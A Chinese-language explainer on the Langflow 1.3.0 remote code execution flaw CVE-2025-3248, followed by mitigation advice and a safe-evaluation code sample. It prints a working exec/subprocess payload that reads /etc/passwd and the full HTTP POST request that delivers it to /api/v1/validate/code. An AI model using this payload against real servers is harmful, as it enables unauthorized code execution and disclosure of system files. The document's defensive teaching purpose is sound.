Langflow 1.3.0 安全漏洞详解及利用示例，教你如何防范远程代码执行攻击

最近，Langflow 1.3.0版本发布后不久，发现了一个严重的安全漏洞（编号CVE-2025-3248），攻击者可以通过这个漏洞远程执行任意代码，获取系统敏感信息。本文用最简单的语言介绍这个漏洞的基础知识，并通过示例代码帮助大家理解和防范。

什么是Langflow？

Langflow是一个低代码工具，帮助开发者快速构建强大的AI代理和工作流，支持调用各种API、模型和数据库。它可以作为Python包安装，也可以作为桌面应用或云服务使用。

漏洞简介

漏洞类型：未经认证的远程代码执行（RCE）
影响版本：Langflow 1.3.0
漏洞点 ：攻击者通过访问API接口 /api/v1/validate/code，提交恶意代码，服务器会执行这些代码，导致系统被攻击。
攻击方式 ：攻击者发送特制的POST请求，利用Python的exec函数执行恶意命令。
攻击来源：大部分攻击请求来自匿名的TOR网络节点。

漏洞原理简述

Langflow的接口允许用户提交Python代码进行"验证"，但没有严格限制代码的执行权限。攻击者利用这一点，提交包含exec函数的恶意代码，执行系统命令，比如读取Linux系统的/etc/passwd文件（该文件包含系统用户信息）。

示例恶意代码：

java 复制代码

python
@exec('raise Exception(__import__("subprocess").check_output(["cat", "/etc/passwd"]))')
def foo():
    pass

这段代码会调用Python的subprocess模块执行cat /etc/passwd命令，并将结果抛出异常，返回给攻击者。

攻击请求示例

攻击者发送的HTTP请求示例如下：

bash 复制代码

text
POST /api/v1/validate/code HTTP/1.1
Host: 目标服务器地址
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3)
Content-Type: application/json
Content-Length: 125

{
  "code": "@exec('raise Exception(__import__("subprocess").check_output(["cat", "/etc/passwd"]))')\ndef foo():\n  pass"
}

服务器收到后会执行code字段中的Python代码，导致敏感信息泄露。

如何防范此类漏洞？

严格限制代码执行权限
不要直接执行用户提交的代码，尤其是使用exec、eval等函数。
增加身份认证和权限校验
只有经过认证的用户才能访问执行代码的接口。
使用沙箱环境执行代码
将代码执行限制在安全的沙箱中，防止访问系统敏感资源。
及时更新软件版本
关注官方安全公告，及时升级到修复漏洞的版本。

演示：安全执行用户代码的简单示例

下面是一个Python示例，展示如何用ast模块安全地解析和执行简单的表达式，避免直接执行危险代码：

python 复制代码

python
import ast

def safe_eval(expr):
    # 只允许数字和加减乘除运算
    allowed_nodes = (ast.Expression, ast.BinOp, ast.Num, ast.Add, ast.Sub, ast.Mult, ast.Div)
    tree = ast.parse(expr, mode='eval')
    for node in ast.walk(tree):
        if not isinstance(node, allowed_nodes):
            raise ValueError("不允许的表达式")
    return eval(expr)

# 测试
print(safe_eval("2 + 3 * 4"))  # 输出 14
print(safe_eval("__import__('os').system('ls')"))  # 抛出异常，禁止执行

总结

Langflow 1.3.0存在严重远程代码执行漏洞，攻击者可通过API接口执行任意Python代码。
攻击者利用该漏洞读取系统敏感文件，造成信息泄露。
该漏洞主要通过TOR网络发起攻击，攻击请求频繁。
关键防护措施是限制代码执行权限、加强认证、使用沙箱和及时更新。

通过理解漏洞原理和防护方法，开发者和运维人员可以更好地保护系统安全，避免类似攻击。